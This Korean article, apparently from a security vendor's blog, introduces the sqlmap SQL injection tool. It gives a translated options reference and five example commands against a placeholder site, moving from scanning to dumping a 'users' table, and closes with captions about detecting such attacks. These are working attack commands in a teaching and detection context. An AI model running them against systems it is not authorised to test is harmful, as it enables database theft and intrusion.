SQLMAP 이란?
[1]

  • SQL Injection 결함을 감지 및 악용할 수 있는, Python 으로 작성된 오픈 소스 침투 테스트 도구
  • mysql, postgresql, oracle, microsoft sql server 등을 포함한 모든 최신 데이터베이스에서 작동
  • DB 취약 여부 확인부터 DB, 테이블, 컬럼, 데이터 탈취까지의 SQLI 공격 기술을 자동화한 Tool
  • 다음과 같은 일반적인 SQL Injection 기술을 자동화
    1) Error Based
    2) Time Delay
    3) Stacked Queries
    4) Boolean Based
    5) Union Based

SQLMAP 사용법 [2]

Usage: python sqlmap.py [options]
Options:
-h, –help 기본 도움말 메시지 표시 및 종료
-hh 고급 도움말 메시지 표시 및 종료
–version 프로그램의 버전 번호를 표시하고 종료
-v VERBOSE 상세 수준: 0-6 (기본값 1)
Target: 정의하려면 이러한 옵션 중 하나 이상이 제공되어야 합니다.
-u URL, –url=URL 대상 URL (예: “http://www.site.com/vuln.php?id=1”)
-d DIRECT 직접 데이터베이스 연결을 위한 연결 문자열
-l LOGFILE Burp 또는 WebScarab 프록시 로그 파일에서 대상 구문 분석
-m BULKFILE 텍스트 파일에 제공된 여러 대상 스캔
-r REQUESTFILE 파일에서 HTTP 요청 로드
-g GOOGLEDORK Google dork 결과를 대상 URL로 처리
-c CONFIGFILE 구성 INI 파일에서 옵션 로드
Request: 이 옵션을 사용하여 대상 URL에 연결하는 방법을 지정할 수 있습니다.
-A AGENT, –user.. HTTP 사용자 에이전트 헤더 값
-H HEADER, –hea.. 추가 헤더 (예: “X-Forwarded-For: 127.0.0.1”)
–method=METHOD 주어진 HTTP 메소드의 강제 사용 (예: PUT)
–data=DATA POST를 통해 보낼 데이터 문자열 (예: “id=1”)
–param-del=PARA.. 매개변수 값 분할에 사용되는 문자 (예: &)
–cookie=COOKIE HTTP 쿠키 헤더 값 (예: “PHPSESSID=a8d127e..”)
–cookie-del=COO.. 쿠키 값 분할에 사용되는 문자 (예: ; )
–live-cookies=L.. 최신 값을 로드하는 데 사용되는 라이브 쿠키 파일
–load-cookies=L.. Netscape/wget 형식의 쿠키가 포함된 파일
–drop-set-cookie 응답에서 Set-Cookie 헤더 무시
–mobile HTTP User-Agent 헤더를 통해 스마트폰 모방
–random-agent 임의로 선택된 HTTP User-Agent 헤더 값 사용
–host=HOST HTTP 호스트 헤더 값
–referer=REFERER HTTP 참조 헤더 값
–headers=HEADERS 추가 헤더 (예: “Accept-Language: fr\nETag: 123”)
–auth-type=AUTH.. HTTP 인증 유형 (기본, 다이제스트, NTLM 또는 PKI)
–auth-cred=AUTH.. HTTP 인증 자격 증명 (이름:비밀번호)
–auth-file=AUTH.. HTTP 인증 PEM 인증서/개인 키 파일
–ignore-code=IG.. (문제가 있는) HTTP 오류 코드 무시 (예: 401)
–ignore-proxy 시스템 기본 프록시 설정 무시
–ignore-redirects 리다이렉션 시도 무시
–ignore-timeouts 연결 시간 초과 무시
–proxy=PROXY 프록시를 사용하여 대상 URL에 연결
–proxy-cred=PRO.. 프록시 인증 자격 증명 (이름:비밀번호)
–proxy-file=PRO.. 파일에서 프록시 목록 로드
–proxy-freq=PRO.. 주어진 목록에서 프록시 변경 간의 요청
–tor Tor 익명 네트워크 사용
–tor-port=TORPORT 기본값 이외의 Tor 프록시 포트 설정
–tor-type=TORTYPE Tor 프록시 유형 설정 (HTTP, SOCKS4 또는 SOCKS5 (기본값))
–check-tor Tor가 제대로 사용되는지 확인하십시오.
–delay=DELAY 각 HTTP 요청 사이의 지연 시간 (초)
–timeout=TIMEOUT 연결 시간 초과 전 대기 시간 (초) (기본값 30)
–retries=RETRIES 연결 시간 초과 시 재시도 (기본값 3)
–randomize=RPARAM 주어진 매개변수의 값을 무작위로 변경
–safe-url=SAFEURL 테스트 중 자주 방문하는 URL 주소
–safe-post=SAFE.. 안전한 URL로 보낼 POST 데이터
–safe-req=SAFER.. 파일에서 안전한 HTTP 요청 로드
–safe-freq=SAFE.. 안전한 URL 방문 사이의 정기적인 요청
–skip-urlencode 페이로드 데이터의 URL 인코딩 건너뛰기
–csrf-token=CSR.. 안티 CSRF 토큰을 보유하는 데 사용되는 매개변수
–csrf-url=CSRFURL 안티 CSRF 토큰 추출을 위해 방문할 URL 주소
–csrf-method=CS.. 안티 CSRF 토큰 페이지 방문 시 사용할 HTTP 메소드
–csrf-retries=C.. 안티 CSRF 토큰 검색 재시도 (기본값 0)
–force-ssl SSL/HTTPS 강제 사용
–chunked HTTP 청크 전송 인코딩 (POST) 요청 사용
–hpp HTTP 매개변수 오염 방법 사용
–eval=EVALCODE 요청 전에 제공된 Python 코드를 평가합니다 (예: “import hashlib;id2=hashlib.md5 (id).hexdigest ()”).
Optimization: 이 옵션을 사용하여 sqlmap의 성능을 최적화할 수 있습니다.
-o 모든 최적화 스위치 켜기
–predict-output 일반적인 쿼리 출력 예측
–keep-alive 영구 HTTP 연결 사용
–null-connection 실제 HTTP 응답 본문 없이 페이지 길이 검색
–threads=THREADS 최대 동시 HTTP 요청 수 (기본값 1)
Injection: 이 옵션을 사용하여 테스트할 매개변수를 지정하고 맞춤형 주입 페이로드 및 선택적 변조 스크립트를 제공할 수 있습니다.
-p TESTPARAMETER 테스트 가능한 매개변수
–skip=SKIP 주어진 매개변수에 대한 테스트 건너뛰기
–skip-static 동적으로 보이지 않는 테스트 매개변수 건너뛰기
–param-exclude=.. 테스트에서 매개변수를 제외하는 Regexp (예: “ses”)
–param-filter=P.. 장소별로 테스트 가능한 매개변수 선택 (예: “POST”)
–dbms=DBMS 백엔드 DBMS를 제공된 값으로 강제 실행
–dbms-cred=DBMS.. DBMS 인증 자격 증명 (사용자:비밀번호)
–os=OS 백엔드 DBMS 운영 체제를 제공된 값으로 강제 실행
–invalid-bignum 값 무효화에 큰 숫자 사용
–invalid-logical 값 무효화에 논리 연산 사용
–invalid-string 값 무효화에 임의의 문자열 사용
–no-cast 페이로드 캐스팅 메커니즘 끄기
–no-escape 문자열 이스케이프 메커니즘 끄기
–prefix=PREFIX 주입 페이로드 접두사 문자열
–suffix=SUFFIX 주입 페이로드 접미사 문자열
–tamper=TAMPER 주입 데이터 변조를 위해 주어진 스크립트 사용
Detection: 이 옵션을 사용하여 탐지 단계를 사용자 지정할 수 있습니다.
–level=LEVEL 수행할 테스트 수준 (1-5, 기본값 1)
–risk=RISK 수행할 테스트의 위험 (1-3, 기본값 1)
–string=STRING 쿼리가 True로 평가될 때 일치시킬 문자열
–not-string=NOT.. 쿼리가 False로 평가될 때 일치시킬 문자열
–regexp=REGEXP 쿼리가 True로 평가될 때 일치하는 정규식
–code=CODE 쿼리가 True로 평가될 때 일치하는 HTTP 코드
–smart 긍정적인 휴리스틱이 있는 경우에만 철저한 테스트를 수행합니다.
–text-only 텍스트 콘텐츠만을 기준으로 페이지 비교
–titles 제목만 기준으로 페이지 비교
Techniques: 이 옵션은 특정 SQL 주입 기술의 테스트를 조정하는 데 사용할 수 있습니다.
–technique=TECH.. 사용할 SQL 주입 기술 (기본값 “BEUSTQ”)
–time-sec=TIMESEC DBMS 응답 지연 시간 (초) (기본값 5)
–union-cols=UCOLS UNION 쿼리 SQL 주입을 테스트할 열 범위
–union-char=UCHAR 열 수를 무차별 대입하는 데 사용할 문자
–union-from=UFROM UNION 쿼리 SQL 주입의 FROM 부분에서 사용할 테이블
–dns-domain=DNS.. DNS 유출 공격에 사용되는 도메인 이름
–second-url=SEC.. 2차 응답을 검색한 결과 페이지 URL
–second-req=SEC.. 파일에서 2차 HTTP 요청 로드
Fingerprint:
-f, –fingerprint Perform an extensive DBMS version fingerprint
Enumeration: 이 옵션은 테이블에 포함된 백엔드 데이터베이스 관리 시스템 정보, 구조 및 데이터를 열거하는 데 사용할 수 있습니다.
-a, –all 모두 검색
-b, –banner DBMS 배너 검색
–current-user DBMS 현재 사용자 검색
–current-db DBMS 현재 데이터베이스 검색
–hostname DBMS 서버 호스트 이름 검색
–is-dba DBMS 현재 사용자가 DBA인지 감지
–users DBMS 사용자 열거
–passwords DBMS 사용자 비밀번호 해시 열거
–privileges DBMS 사용자 권한 열거
–roles DBMS 사용자 역할 열거
–dbs DBMS 데이터베이스 열거
–tables DBMS 데이터베이스 테이블 열거
–columns DBMS 데이터베이스 테이블 열 열거
–schema DBMS 스키마 열거
–count 테이블에 대한 항목 수 검색
–dump DBMS 데이터베이스 테이블 항목 덤프
–dump-all 모든 DBMS 데이터베이스 테이블 항목 덤프
–search 열, 테이블 및/또는 데이터베이스 이름 검색
–comments 열거 중 DBMS 주석 확인
–statements DBMS에서 실행 중인 SQL 문 검색
-D DB 열거할 DBMS 데이터베이스
-T TBL 열거할 DBMS 데이터베이스 테이블
-C COL 열거할 DBMS 데이터베이스 테이블 열
-X EXCLUDE 열거하지 않을 DBMS 데이터베이스 식별자
-U USER 열거할 DBMS 사용자
–exclude-sysdbs 테이블을 열거할 때 DBMS 시스템 데이터베이스 제외
–pivot-column=P.. 피벗 열 이름
–where=DUMPWHERE 테이블 덤핑 중 WHERE 조건 사용
–start=LIMITSTART 검색할 첫 번째 덤프 테이블 항목
–stop=LIMITSTOP 검색할 마지막 덤프 테이블 항목
–first=FIRSTCHAR 검색할 첫 번째 쿼리 출력 단어 문자
–last=LASTCHAR 검색할 마지막 쿼리 출력 단어 문자
–sql-query=SQLQ.. 실행할 SQL 문
–sql-shell 대화형 SQL 셸 프롬프트
–sql-file=SQLFILE 주어진 파일에서 SQL 문 실행
Brute force: 이 옵션은 무차별 대입 검사를 실행하는 데 사용할 수 있습니다.
–common-tables 공통 테이블의 존재 확인
–common-columns 공통 컬럼 존재 확인
–common-files 공통 파일 존재 확인
User-defined function injection: 이 옵션을 사용하여 사용자 정의 사용자 정의 함수를 생성할 수 있습니다.
–udf-inject 사용자 정의 사용자 정의 함수 주입
–shared-lib=SHLIB 공유 라이브러리의 로컬 경로
File system access: 이 옵션을 사용하여 백엔드 데이터베이스 관리 시스템 기본 파일 시스템에 액세스할 수 있습니다.
–file-read=FILE.. 백엔드 DBMS 파일 시스템에서 파일 읽기
–file-write=FIL.. 백엔드 DBMS 파일 시스템에 로컬 파일 쓰기
–file-dest=FILE.. 쓸 백엔드 DBMS 절대 파일 경로
Operating system access: 이 옵션은 백엔드 데이터베이스 관리 시스템 기반 운영 체제에 액세스하는 데 사용할 수 있습니다.
–os-cmd=OSCMD 운영 체제 명령 실행
–os-shell 대화형 운영 체제 셸 프롬프트
–os-pwn OOB 셸, Meterpreter 또는 VNC에 대한 프롬프트
–os-smbrelay OOB 셸, Meterpreter 또는 VNC에 대한 원 클릭 프롬프트
–os-bof 저장 프로시저 버퍼 오버플로 악용
–priv-esc 데이터베이스 프로세스 사용자 권한 에스컬레이션
–msf-path=MSFPATH Metasploit Framework가 설치된 로컬 경로
–tmp-path=TMPPATH 임시 파일 디렉토리의 원격 절대 경로
Windows registry access: 이 옵션을 사용하여 백엔드 데이터베이스 관리 시스템 Windows 레지스트리에 액세스할 수 있습니다.
–reg-read Windows 레지스트리 키 값 읽기
–reg-add Windows 레지스트리 키 값 데이터 쓰기
–reg-del Windows 레지스트리 키 값 삭제
–reg-key=REGKEY Windows 레지스트리 키
–reg-value=REGVAL Windows 레지스트리 키 값
–reg-data=REGDATA Windows 레지스트리 키 값 데이터
–reg-type=REGTYPE Windows 레지스트리 키 값 유형
General: 이 옵션을 사용하여 일부 일반 작업 매개변수를 설정할 수 있습니다.
-s SESSIONFILE 저장된 (.sqlite) 파일에서 세션 로드
-t TRAFFICFILE 모든 HTTP 트래픽을 텍스트 파일에 기록
–answers=ANSWERS 사전 정의된 답변 설정 (예: “quit=N,follow=N”)
–base64=BASE64P.. Base64로 인코딩된 데이터를 포함하는 매개변수
–base64-safe URL 및 파일 이름에 안전한 Base64 알파벳 사용 (RFC 4648)
–batch 사용자 입력을 요청하지 말고 기본 동작을 사용하십시오.
–binary-fields=.. 이진 값이 있는 결과 필드 (예: “digest”)
–check-internet 대상을 평가하기 전에 인터넷 연결을 확인하십시오.
–cleanup sqlmap 특정 UDF 및 테이블에서 DBMS 정리
–crawl=CRAWLDEPTH 대상 URL에서 시작하는 웹사이트 크롤링
–crawl-exclude=.. 크롤링에서 페이지를 제외하는 정규식 (예: “로그아웃”)
–csv-del=CSVDEL CSV 출력에 사용되는 구분 문자 (기본값 “,”)
–charset=CHARSET 블라인드 SQL 주입 문자 집합 (예: “0123456789abcdef”)
–dump-format=DU.. 덤프된 데이터 형식 (CSV (기본값), HTML 또는 SQLITE)
–encoding=ENCOD.. 데이터 검색에 사용되는 문자 인코딩 (예: GBK)
–eta 각 출력에 대한 예상 도착 시간 표시
–flush-session 현재 대상에 대한 플러시 세션 파일
–forms 대상 URL에서 양식 구문 분석 및 테스트
–fresh-queries 세션 파일에 저장된 쿼리 결과 무시
–gpage=GOOGLEPAGE 지정된 페이지 번호의 Google dork 결과 사용
–har=HARFILE 모든 HTTP 트래픽을 HAR 파일에 기록
–hex 데이터 검색 중 16진수 변환 사용
–output-dir=OUT.. 사용자 정의 출력 디렉토리 경로
–parse-errors 응답에서 DBMS 오류 메시지 구문 분석 및 표시
–preprocess=PRE.. 사전 처리 (요청)에 지정된 스크립트 사용
–postprocess=PO.. 후처리 (응답)를 위해 주어진 스크립트 사용
–repair 알 수 없는 문자 마커 (?)가 있는 항목을 덤프합니다.
–save=SAVECONFIG 구성 INI 파일에 옵션 저장
–scope=SCOPE 대상 필터링을 위한 정규식
–skip-heuristics SQLi/XSS 취약점의 발견적 탐지 건너뛰기
–skip-waf WAF/IPS 보호에 대한 휴리스틱 감지 건너뛰기
–table-prefix=T.. 임시 테이블에 사용되는 접두사 (기본값: “sqlmap”)
–test-filter=TE.. 페이로드 및/또는 제목으로 테스트 선택 (예: ROW)
–test-skip=TEST.. 페이로드 및/또는 제목별 테스트 건너뛰기 (예: BENCHMARK)
–web-root=WEBROOT 웹 서버 문서 루트 디렉토리 (예: “/var/www”)
Miscellaneous: 이 옵션은 다른 범주에 속하지 않습니다.
-z MNEMONICS 짧은 연상 기호 사용 (예: “flu,bat,ban,tec=EU”)
–alert=ALERT SQL 주입이 발견되면 호스트 OS 명령 실행
–beep 질문 및/또는 SQLi/XSS/FI가 발견될 때 경고음
–dependencies 누락된 (선택 사항) sqlmap 종속성 확인
–disable-coloring 콘솔 출력 색상 비활성화
–list-tampers 사용 가능한 변조 스크립트 목록 표시
–offline 오프라인 모드에서 작업 (세션 데이터만 사용)
–purge sqlmap 데이터 디렉토리에서 모든 콘텐츠를 안전하게 제거
–results-file=R.. 다중 대상 모드에서 CSV 결과 파일의 위치
–shell 대화형 sqlmap 셸 프롬프트
–tmp-dir=TMPDIR 임시 파일을 저장하기 위한 로컬 디렉토리
–unstable 불안정한 연결에 대한 옵션 조정
–update sqlmap 업데이트
–wizard 초보자를 위한 간단한 마법사 인터페이스

 

SQLMAP 예제 [3]

  1. 스캐닝
    $ python sqlmap.py -u “http://www.site.com/section.php?id=51”
  2. DB 탐색
    $ python sqlmap.py -u “http://www.site.com/section.php?id=51” –dbs
  3. 특정 데이터베이스에서 테이블 찾기
    $ python sqlmap.py -u “http://www.site.com/section.php?id=51” –tables -D safecosmetics
  4. 테이블의 컬럼 가져오기
    $ python sqlmap.py -u “http://www.site.com/section.php?id=51” –columns -D safecosmetics -T users
  5. 테이블에서 데이터 가져오기
    $ python sqlmap.py -u “http://www.site.com/section.php?id=51” –dump -D safecosmetics -T users

 

[SQL Injection & 데이터 유출] 탐지 from PLURA V5

[사진 1] DB 이름 탐지

[사진 2] 테이블 이름 탐지

[사진 3] 컬럼 이름 탐지

[사진 4] 데이터 정보 탐지

 

참고
[1] http://www.cs.toronto.edu/~arnold/427/15s/csc427/tools/sqlmap/index.html
[2] https://github.com/sqlmapproject/sqlmap/wiki/Usage
[3] https://www.binarytides.com/sqlmap-hacking-tutorial